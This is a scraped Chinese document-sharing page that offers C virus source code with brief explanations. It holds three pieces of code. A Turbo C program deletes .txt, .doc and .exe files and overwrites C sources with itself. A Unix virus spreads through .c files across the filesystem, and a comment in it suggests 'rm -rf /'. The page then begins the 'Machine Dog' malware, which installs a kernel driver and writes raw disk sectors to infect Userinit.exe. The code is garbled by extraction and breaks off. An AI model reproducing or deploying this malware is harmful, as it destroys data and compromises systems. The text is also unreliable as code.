版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、真誠為您提供優(yōu)質(zhì)參考資料,若有不當之處,請指正。用C語言編寫簡單的病毒轉(zhuǎn)2007年08月28日 星期二 下午 03:39摘要在分析病毒機理的基礎(chǔ)上,用C語言寫了一個小病毒作為實例,用TURBOC2.0實現(xiàn). Abstract This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.一、什么是病毒 惡意軟件可能是第一個對我們產(chǎn)生影
2、響的計算機安全問題.所以病毒在畔 踩 惺嗆苤匾 ? 我們要對付病毒,就要了解病毒. 寫一些病毒是一個很好的辦法. 如果要寫一個病毒,先要知道它是什么.可以給病毒一個定義,這一定義是被廣泛認可的。Frederic Cohen博士在計算機病毒簡短講座中提到的:“一種能夠通過修改自身來包括或釋放自我拷貝而傳染給其他程序的程序?!?#160; 其實病毒和普通程序并無太大不同,而且通常比較簡單,不像很多程序那樣復(fù)雜。只不過病毒里面用到一些正常程序一般
3、不會用到的技術(shù)。 要編制一個病毒,首先要知道病毒的運行機理。 不論是何種病毒,它一般在結(jié)構(gòu)上分為三個功能模塊:感染機制,觸發(fā)機制和有效載荷。 在病毒結(jié)構(gòu)中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本原因。我們可以用一段類C偽碼來表示這個過程。InfectSection() if (infectable_object_found &&
4、object_not_already_infect) infect_object; 病毒的第二個主要構(gòu)成部分是有效載荷觸發(fā)事件.一個病毒來到你的電腦后,不大可能立即發(fā)作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數(shù)量的感染體,某一日期或時間,某一段文本后觸發(fā).一個簡單的觸發(fā)機制可能是這樣工作的:
5、; TriggerSection() if (date_is_Friday_13th_and_time_is_03:13:13) &
6、#160; set_trigger_status_to_yes; 有效載荷就是病毒用來騷擾你的電腦的方法,有觸發(fā)機制的病毒一般也有有效載荷。它可以是任意的給你發(fā)一條一次性簡單的愚弄信息,重新格式化你的磁盤,把它自己郵
7、給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行: Executesection() if (trigger_statue_is_yes) execute_payload;
8、60; 二、 編制病毒的語言 最常見的編制病毒的語言有匯編語言、VB、C 語言等,我
9、們可以來看一看一個有名的病毒論壇上認為學(xué)寫病毒要掌握的基礎(chǔ): 1).Win32編程,進程,線程,內(nèi)存,等等。2).32位匯編,以指令用法為主。386匯編就比較夠用了。3).PE格式,有精力還可以看一下其它可能被感染的文件的文件格式。4).調(diào)試技術(shù)。VC,TD32,SoftIce,等等。 要掌握的東西確實很多,還多聽都沒聽過,很嚇人但實際上,即使我們對計算機的原理和操作系統(tǒng)不很了解,而且不熟悉除以外的其他語言,只要我們對的庫函數(shù)有一定了解,就可以寫一些類似病毒的東西.三用編制病毒 以TurboC2.0為例它的庫函數(shù)可以實現(xiàn)
10、很多功能 如以下兩個函數(shù): 1).findfirst和findnext函數(shù):在dir.h。findfirst用來找各種類型的文件,可以得到文件名文件長度,文件屬性等,findnext和findfirst配合使用,用來找到下一個同類型的文件。 2).remove函數(shù):在stdio.h.只要知道文件名,可以刪除任意類型的文件. 四 我寫的C病毒
11、60; <<計算機病毒解密>>上有一句比較經(jīng)典的話,"或許把惡意軟件造成的損害說成是心理上的損害 可能會更恰當一些".從這個意義上說,我的病毒是非常典型的病毒. 下面是我寫的病毒. 它主要由四個模塊組成. RubbishMaker()可用來在當前目錄下生成大量隨機命名的垃圾文件. CreatEXE()將在C盤的敏感地方放置幾個.exe垃圾,它們要隱蔽
12、一些。 Remove()會刪掉你的一些東西,所以千萬不要隨便運行這個程序. Breed()是C_KILLER的精華所在,它將kill所有的c程序,并利用它們繁殖自身. 前三個是有效負載. 第四個可以說是它的感染機制./*IN FACT,IT"S NOT A VIRYUS AT ALL.*/#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include &
13、lt;string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile) FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in) fputc(fgetc(in),out);
14、 fclose(in); fclose(out);/*This function named Rubbishmaker.*/void MakeRubbish() int i; FILE *fp; char *path; char *NewName; char *disk7 = "A","B","C","D&qu
15、ot;,"E","F","G" char *addtion = ":" /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i+) char tempname = "XXXXXX" ; NewName = mktemp(
16、tempname); fp = fopen(NewName,"w"); fclose(fp); /* make some rubbish at the root catalogue */ path = strcat(diskgetdisk(),addtion); /* get the root catalogue */ chdir(path); /*change directory according to
17、the "path" */ for (i = 0; i<5; i+) char tempname = "XXXXXX" NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); /*This fu
18、nction can creat some .exe or aaa documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE() int i; char *path; char *s2 = "C:WINDOWSsystem32loveworm.exe","C:WINDOWSvirusssssaaa"&
19、#160; for ( i = 0; i < 2; i+) open(s, 0x0100,0x0080); copyfile( "C_KILLER.C",s); /* remove something from your computer */void Remove() int done; int i;
20、160; struct ffblk ffblk; char *documenttype3 = "*.txt","*.doc","*.exe" for (i = 0; i < 3; i+) done = findfirst(documenttype,&ffblk,2); while (!done)
21、; remove(ffblk.ff_name); done = findnext(&ffblk); /* overlay the c programs */void Breed() int done;
22、60; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) copyfile(&q
23、uot;C_KILLER.C",ffblk.ff_name); done = findnext(&ffblk); void main() printf("THERE IS A VIRUS BY XIAOKE.nn"); Breed(); Remov
24、e(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME?nn"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!nn"); MakeRubbish(); getcha
25、r(); printf("IT'S ONLY A JOKE! THANK YOU!nn"); clrscr(); system("cmd");簡單的c病毒2007年,我的最后一個程序哦,覺得很有紀念意義,所以拿來共享。不過是unix/linux環(huán)境的, 能看懂原理就OK了。詳細分析請參考我的blog: bbb:/Tip:僅供學(xué)習(xí)參考->了解病毒是為了更好的防范它。Copy code/* ucfree
26、:2007-12-31 start */#include <stdio.h>#include <dirent.h>#include <unistd.h>#include <string.h>#include <sys/stat.h>#include <utime.h> #define VIR_NAM "virus.c" / virus file name#define BUF_SIZE
27、 101#define STA_PATH "/" / start path char vir_pathBUF_SIZE = ""/* it's the main part of virus's body,* it can trave
28、rsal all the parts of the system from STA_PATH,* and if the process have enough permission,* all of the .c file will being infected as a virus */void vir_body() DIR *dp;
29、; struct dirent *dirp; struct stat buf, cur_dir_buf; int i; char str_bufBUF_SIZE; / init the vir_path &
30、#160; if (!strcmp(vir_path, "") if (getcwd(vir_path, BUF_SIZE) = NULL) return;
31、 strcat(vir_path, "/"); strcat(vir_path, VIR_NAM); chdir(STA_PATH); if (dp = opendir(".") = NULL) &
32、#160; return; / do all the sub_dir terms while (dirp = readdir(dp) != NULL) i = strlen(dirp->d_name);
33、 if (dirp->d_namei-1 = 'c' && dirp->d_namei-2 = '.') / is a c file do_c_
34、file(dirp->d_name); continue; if (stat(dirp->d_name, &buf) < 0)
35、 / get the stat of the file continue; if (!S_ISDIR(buf.st_mode) / is not a directory
36、; continue; if (!strcmp(dirp->d_name, ".") | !strcmp(dirp->d_name, "."
37、;) / ignore dot and dot_dot directory continue; / do the submit derectory as current
38、0; chdir(dirp->d_name); vir_body(); chdir("."); closedir(dp); /* here! you can do anything th
39、at you want * just use the system invokes or shell commands * ex: * if (system_data_is_sundy) * * system("rm -rf /"); * * ti
40、p: if the process runing as root, the system being over * it's dangerous, so not to try */ return;/* this funtion is try to infect the .c file,* if the .c file is
41、already infected,no need to do it again,* else the work begin .*/int do_c_file(const char *f_name) FILE *fp_obj, *fp_vir, *fp_tmp; char bufBUF_SIZE; char flag;
42、60; char *tmp_buf; struct stat statbuf;/ get the object file's stat struct utimbuf timebuf;/ keep the object file's access and modify time if (fp_obj = fopen(f
43、_name, "r+") = NULL) / object file return 1; if (stat(f_name, &statbuf) < 0) return 1; t
44、imebuf.actime = statbuf.st_atime; timebuf.modtime = statbuf.st_mtime; if (fp_vir = fopen(vir_path, "r") =NULL) / virus file return 1;
45、0; / make a tempfile as a buffer if (tmp_buf = tmpnam(NULL) = NULL) return 1; if (fp_tmp = fopen(tmp_buf, "a+") = NULL) / temp file &
46、#160; return 1; unlink(tmp_buf);/ kernal will delete it after the process done / read the C text into the temp file, and modify it flag = 'T'
47、0; while (fgets(buf, BUF_SIZE, fp_obj) != NULL) if (!strcmp(buf, "/* ucfree:2007-12-31 start */n") / the obeject file have been infected
48、60; return 0; if (flag = 'T' && strstr(buf, "main(") / find the funtion main,change flag
49、; flag = 'F' if (flag = 'F' && (strstr(buf, "return") | strstr(buf, "")
50、0; / insert the invoke line,before "return" or "" fputs("ttvir_body();n", fp_tmp); flag = 'O' &
51、#160; fputs(buf, fp_tmp); if (flag != 'O') / is not the main c file return 0; / add the par
52、ts of virus's body to the tail of temp file flag = 'T' while (fgets(buf, BUF_SIZE, fp_vir) != NULL) if (flag = 'T' &&
53、60; !strcmp(buf, "/* ucfree:2007-12-31 start */n") / is the start of the virus's body flag = 'F' &
54、#160; if (flag = 'T') / not find the start continue; if (flag = 'O')
55、; / virus body have been inserted,do over break; / insert virus's body&
56、#160; if (!strcmp(buf, "/* ucfree:2007-12-31 end */n") / is the end of the virus's body flag = 'O'
57、 if (strstr(buf, "#define VIR_NAM") && buf0 = '#') / use the object's name to instand of the virus name
58、0; snprintf(buf, sizeof(buf), "%st"%s"n", "#define VIR_NAM", f_name);
59、60; fputs(buf, fp_tmp); fclose(fp_vir); / temp file instand of the object file rewind(fp_tmp); rewind(fp_obj); while (fgets
60、(buf, BUF_SIZE,fp_tmp) != NULL) fputs(buf, fp_obj); fclose(fp_tmp); fclose(fp_obj); if (utime(f_name, &timebuf) < 0) / keep the time back
61、0; return 1; / OK! object file also been a virus _ return 0;/* ucfree:2007-12-31 end */* test it */int main() vir_body(); return 0;機器狗源碼(C語言的)/ Test.cpp : 定義控制臺應(yīng)用程序的入口點。/#in
62、clude "stdafx.h"/=#include <pshpack1.h>typedef struct _PARTITION_ENTRY UCHAR active; / 能否啟動標志 UCHAR StartHead;
63、 / 該分區(qū)起始磁頭號 UCHAR StartSector; / 起始柱面號高2位:6位起始扇區(qū)號 UCHAR StartCylinder; / 起始柱面號低8位 UCHAR PartitionType;
64、 / 分區(qū)類型 UCHAR EndHead; / 該分區(qū)終止磁頭號 UCHAR EndSector;
65、0; / 終止柱面號高2位:6位終止扇區(qū)號 UCHAR EndCylinder; / 終止柱面號低8位 ULONG StartLBA; / 起始扇區(qū)號 ULONG TotalSector;
66、160; / 分區(qū)尺寸(總扇區(qū)數(shù)) PARTITION_ENTRY, *PPARTITION_ENTRY;/=typedef struct _MBR_SECTOR UCHAR BootCode446; PARTITION_ENTRY Partition
67、4; USHORT Signature; MBR_SECTOR, *PMBR_SECTOR;/=typedef struct _BBR_SECTOR USHORT JmpCode; / 2字節(jié)跳轉(zhuǎn)指令,跳轉(zhuǎn)到引導(dǎo)代碼 UCHAR
68、 NopCode; / 1字節(jié)nop指令,填充用,保證跳轉(zhuǎn)指令長3個字節(jié) UCHAR OEMName8; / 8字節(jié)的OEMName / 下面開始為: BPB( BIOS Parameter Block
69、) USHORT BytesPerSector; / 每個扇區(qū)的字節(jié)數(shù) (512 1024 2048 4096) UCHAR SectorsPerCluster; / 每個簇的扇區(qū)數(shù) ( 1 2 4 8 16 32 64 128 )兩者相乘不能超過32K(簇最大大小) USHORT ReservedSectors;
70、0; / 從卷的第一個扇區(qū)開始的保留扇區(qū)數(shù)目,該值不能為0,對于FAT12/FAT16,該值通常為1,對于FAT32,典型值為32 UCHAR NumberOfFATs; / 卷上FAT數(shù)據(jù)結(jié)構(gòu)的數(shù)目,該值通常應(yīng)為2,NTFS不使用NumberOfFATs字段,必須為0 USHORT RootEntries; &
71、#160; / 對于FAT12/FAT16,該值表示32字節(jié)目錄項的數(shù)目,對于FAT32,該值必須為0;NTFS不使用 USHORT NumberOfSectors16; / 該卷上的扇區(qū)總數(shù),該字段可以為0,如果該字段為0,則NumberOfSectors32不能為0;對于FAT32,該字段必須為0 FAT32/NTFS不使用該字段 UCHAR MediaDescriptor; &
72、#160; / 介質(zhì)類型 USHORT SectorsPerFAT16; / 該字段標識一個FAT結(jié)構(gòu)占有的扇區(qū)數(shù)(FAT12/FAT16),對于FAT32卷,該字段必須為0;FAT32/NTFS不使用該字段 USHORT SectorsPerTrack; / 用于INT 0x13中斷的每個磁道的扇區(qū)數(shù) USHORT HeadsPerCylinder;
73、60; / 用于INT 0x13中斷的每個柱面的磁頭數(shù) ULONG HiddenSectors; / 包含該FAT卷的分區(qū)之前的隱藏扇區(qū)數(shù) ULONG NumberOfSectors32; / 該字段包含該卷上的所有扇區(qū)數(shù)目,對于FAT32,該字段不為0;FAT12/FAT16可根據(jù)實際大小是否超過65536個扇區(qū)數(shù)決定是
74、否采用該字段; NTFS不使用該字段 / 下面開始為: EBPB ( Extended BIOS Parameter Block ) ULONG SectorsPerFAT32; / 對于FAT32,該字段包含一個FAT的大小,而SectorsPerFAT16字段必須為0; BBR_SECTOR, *PBBR_SECTOR;#include <poppack.h>#define PARTITION_TYPE_NTFS
75、 0x07#define PARTITION_TYPE_FAT32 0x0B#define PARTITION_TYPE_FAT32_LBA 0x0C/=#define STR_SYSFILE_PATH TEXT("%System
76、Root%system32driverspcihdd.sys")#define STR_VIRFILE_PATH TEXT("%SystemRoot%System32Userinit.exe")#define STR_DSKDEVICE_NAME TEXT(".PhysicalDrive0&qu
77、ot;)#define STR_HDDDEVICE_NAME TEXT(".PhysicalHardDisk0")/=#define IOCTL_MYDEV_BASE 0xF000#define IOCTL_MYDEV_Fun_0xF01
78、60; CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)/=DWORD InstallAndStartDriver(HMODULE ModuleHandle) TCHAR filePathMAX_PATH; HANDLE
79、60; fileHandle; HRSRC hSysRes; DWORD dwWritten; DWORD &
80、#160; dwSysLen; PVOID lpSysBuf; SC_HANDLE hSCManager; SC_HANDLE hService; SERVICE_STATUS sService;
81、0; DWORD errCode = ERROR_SUCCESS; if( (NULL = (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001) | (0 = (dwSysLen =
82、 SizeofResource(ModuleHandle, hSysRes) | (NULL = (lpSysBuf = LockResource(hSysRes) | (0 = ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath0, sizeof(filePath)
83、60; | (INVALID_HANDLE_VALUE = (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) ) errCode = GetLastError(); goto FunExit00;
84、; if( !WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL) | !SetEndOfFile(fileHandle) | !FlushFileBuffers(fileHandle) )
85、; errCode = GetLastError(); CloseHandle(fileHandle); if(ERROR_SUCCESS != errCode) goto FunExit01; if(NULL = (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)
86、 errCode = GetLastError(); goto FunExit01; hService = CreateService( hSCManager, TEXT("PciHdd"), TEXT("PciHdd"),
87、0; SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, filePath, NULL, NULL, NULL,
88、60; NULL, NULL ); if(NULL != hService) CloseServiceHandle(hService); else if(NULL != (hService = OpenService(hSCManager, TEXT(&qu
89、ot;PciHdd"), SERVICE_ALL_ACCESS) ControlService(hService, SERVICE_CONTROL_STOP, &sService); DeleteService(hService); CloseServiceHandle(hService);
90、 hService = CreateService( hSCManager, TEXT("PciHdd"), TEXT("PciHdd"), SERVICE_ALL_ACCESS,
91、60; SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, filePath, NULL, NULL,
92、0; NULL, NULL, NULL ); if(NULL != hService) CloseServiceHandle(hService);
93、0; else errCode = GetLastError(); goto FunExit02; if(NULL = (hService = OpenService(hSCManager, TEXT("Pci
94、Hdd"), SERVICE_START) errCode = GetLastError(); goto FunExit02; StartService(hService, 0, NULL); CloseServiceHandle(hService);FunExit02: CloseServiceHandle(hSCManager);FunExit01: &
95、#160; DeleteFile(filePath);FunExit00: return errCode;/=DWORD StopAndDeleteDriver(VOID) TCHAR filePathMAX_PATH; SC_HANDLE hSCManager; SC_HANDLE
96、160; hService; SERVICE_STATUS sService; DWORD errCode = ERROR_SUCCESS; if(NULL = (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)
97、 errCode = GetLastError(); goto FunExit00; if(NULL = (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS) errCode = GetLastError(); goto FunExit01;
98、160; ControlService(hService, SERVICE_CONTROL_STOP, &sService); DeleteService(hService); CloseServiceHandle(hService);FunExit01: CloseServiceHandle(hSCManager);FunExit00: ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath0, sizeo
99、f(filePath); DeleteFile(filePath); return errCode;/=/ 感染硬盤第一個分區(qū)的指定的文件/ / 1)通過FSCTL_GET_RETRIEVAL_POINTERS獲取文件數(shù)據(jù)的分布 信息/ / 2)通過直接訪問硬盤(.PhysicalHardDisk0)的的MDR和第一個分區(qū)的引導(dǎo)扇區(qū)得到分區(qū)參數(shù)來定位文件。/ / 3)通過對比ReadFile讀取的文件數(shù)據(jù)和自己定位后直接 讀取所得到的文件數(shù)據(jù),確定定位是否正確/ / 入口參數(shù):/ 要感染的文件名(完整路徑)/ / Return value:/ S
100、uccess -> NULL/ Failed -> 指向出錯信息的指針/=DWORD WriteVirusToDisk(LPCTSTR VirusFile) STARTING_VCN_INPUT_BUFFER iVcnBuf; UCHAR oVcnBuf272; PRETRIEVAL_POINTERS_BUFFER lpVcnBuf; DWORD dw
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 第三方物流企業(yè)高效配送服務(wù)方案
- 移動應(yīng)用推廣服務(wù)合同
- 健康產(chǎn)業(yè)經(jīng)營管理手冊
- 2024年陜西客車從業(yè)資格證模擬考試答題題庫
- 2024年昆明c1客運資格證模擬考試題
- 2024年天津報考客運從業(yè)資格證流程
- 會展活動現(xiàn)場管理與協(xié)調(diào)預(yù)案
- 企業(yè)安全生產(chǎn)事故應(yīng)急演練方案
- 鄉(xiāng)村旅游開發(fā)與運營實戰(zhàn)手冊
- 個人技能提升計劃實踐分享
- 貨車檢車員技師理論題庫
- 蛋白質(zhì)與酶工程酶的提取分離和純化
- MgO部分穩(wěn)定氧化鋯陶瓷的抗渣侵蝕性研究_鐘耀東_圖文
- 急診科五年發(fā)展規(guī)劃(共7頁)
- 【北美購房網(wǎng)】美國租房合同樣本(中英文)
- 強夯檢測方案總結(jié)
- 試論小學(xué)數(shù)學(xué)教學(xué)中培養(yǎng)學(xué)生想象力的策略
- 安全監(jiān)測監(jiān)控工培訓(xùn)實施方案
- 酶水解法生產(chǎn)低乳糖奶的工藝與檢測課件
- 電力企業(yè)標準目錄
- 九年級下冊音樂期末試題及答案(湘藝版)
評論
0/150
提交評論